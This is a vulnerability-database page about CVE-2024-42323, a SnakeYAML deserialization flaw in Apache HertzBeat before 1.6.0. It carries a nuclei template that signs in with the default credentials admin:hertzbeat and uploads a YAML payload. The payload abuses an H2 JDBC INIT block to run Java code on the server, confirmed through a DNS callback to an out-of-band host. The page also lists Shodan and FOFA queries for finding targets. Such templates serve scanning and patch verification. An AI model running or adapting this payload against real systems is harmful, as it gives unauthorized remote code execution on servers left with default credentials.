Lucene search
+L

Apache HertzBeat < 1.6.0 - SnakeYAML Deserialization Remote Code Execution

🗓️ 23 Jul 2026 05:51:26Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 5 Views

HertzBeat pre 1.6.0 enables remote code execution via YAML deserialization in import endpoints using SnakeYAML and default credentials.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-42323
21 Sep 202413:18
circl
CNNVD
Apache HertzBeat 代码问题漏洞
21 Sep 202400:00
cnnvd
CNVD
Apache HertzBeat Deserialization Vulnerability
24 Sep 202400:00
cnvd
CVE
CVE-2024-42323
21 Sep 202409:30
cve
Cvelist
CVE-2024-42323 Apache HertzBeat: RCE by snakeYaml deser load malicious xml
21 Sep 202409:30
cvelist
NVD
CVE-2024-42323
21 Sep 202410:15
nvd
OSV
CVE-2024-42323 Apache HertzBeat: RCE by snakeYaml deser load malicious xml
21 Sep 202409:30
osv
Positive Technologies
PT-2024-29872
21 Sep 202400:00
ptsecurity
RedhatCVE
CVE-2024-42323
23 May 202507:54
redhatcve
Vulnrichment
CVE-2024-42323 Apache HertzBeat: RCE by snakeYaml deser load malicious xml
21 Sep 202409:30
vulnrichment
Rows per page
id: CVE-2024-42323

info:
  name: Apache HertzBeat < 1.6.0 - SnakeYAML Deserialization Remote Code Execution
  author: ChrisJr404
  severity: high
  description: |
    Apache HertzBeat versions before 1.6.0 use a vulnerable version of the SnakeYAML library to parse YAML files imported through the `/api/monitors/import` and `/api/alert/defines/import` endpoints. An authenticated user can submit a YAML file that constructs an `org.h2.jdbc.JdbcConnection` with a malicious H2 in-memory JDBC URL whose `INIT` block contains a `CREATE ALIAS ... $$ ... $$` Java source snippet, achieving remote code execution inside the HertzBeat JVM. The vulnerability is exploitable in default deployments because the official Docker image and quickstart documentation ship with the well-known default credentials `admin:hertzbeat`, which the template uses for chained authentication.
  impact: |
    Authenticated remote code execution inside the HertzBeat JVM. Default-credential deployments collapse this into pre-auth RCE.
  remediation: |
    Upgrade to Apache HertzBeat 1.6.0 or later. Change the default `admin:hertzbeat` credentials in any deployment that has not already done so.
  reference:
    - https://lists.apache.org/thread/dwpwm572sbwon1mknlwhkpbom2y7skbx
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-42323
    cwe-id: CWE-502
    epss-score: 0.75553
    epss-percentile: 0.98911
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: hertzbeat
    shodan-query: http.title:"HertzBeat"
    fofa-query: title="HertzBeat"
  tags: cve,cve2024,apache,hertzbeat,snakeyaml,deserialization,rce,intrusive,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/account/auth/form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"identifier":"{{username}}","credential":"{{password}}","type":0}

    extractors:
      - type: json
        name: token
        json:
          - ".data.token"
        internal: true

  - raw:
      - |
        POST /api/monitors/import HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: multipart/form-data; boundary=----testingboundary

        ------testingboundary
        Content-Disposition: form-data; name="file"; filename="poc.yaml"
        Content-Type: application/octet-stream

        !!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:{{rand_text_alpha(8)}};MODE=MSSQLServer;INIT=drop alias if exists lk\\;CREATE ALIAS LK AS $$void lk() throws java.io.IOException { java.net.InetAddress.getByName(\"{{interactsh-url}}\")\\; }$$\\;CALL LK ()\\;", [], "a", "b", false ]
        ------testingboundary--

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 490a0046304402204d1018bb4312a7369ddb3464a3fc5612df7759106640739fc6a791bd06cea5fb022074e1dfbaddd7be09e5d0e30cabd5713ad7a2b73932acdbff6b079b6dac2ff233:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 May 2026 17:47Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.18.8
EPSS0.04054
SSVC
5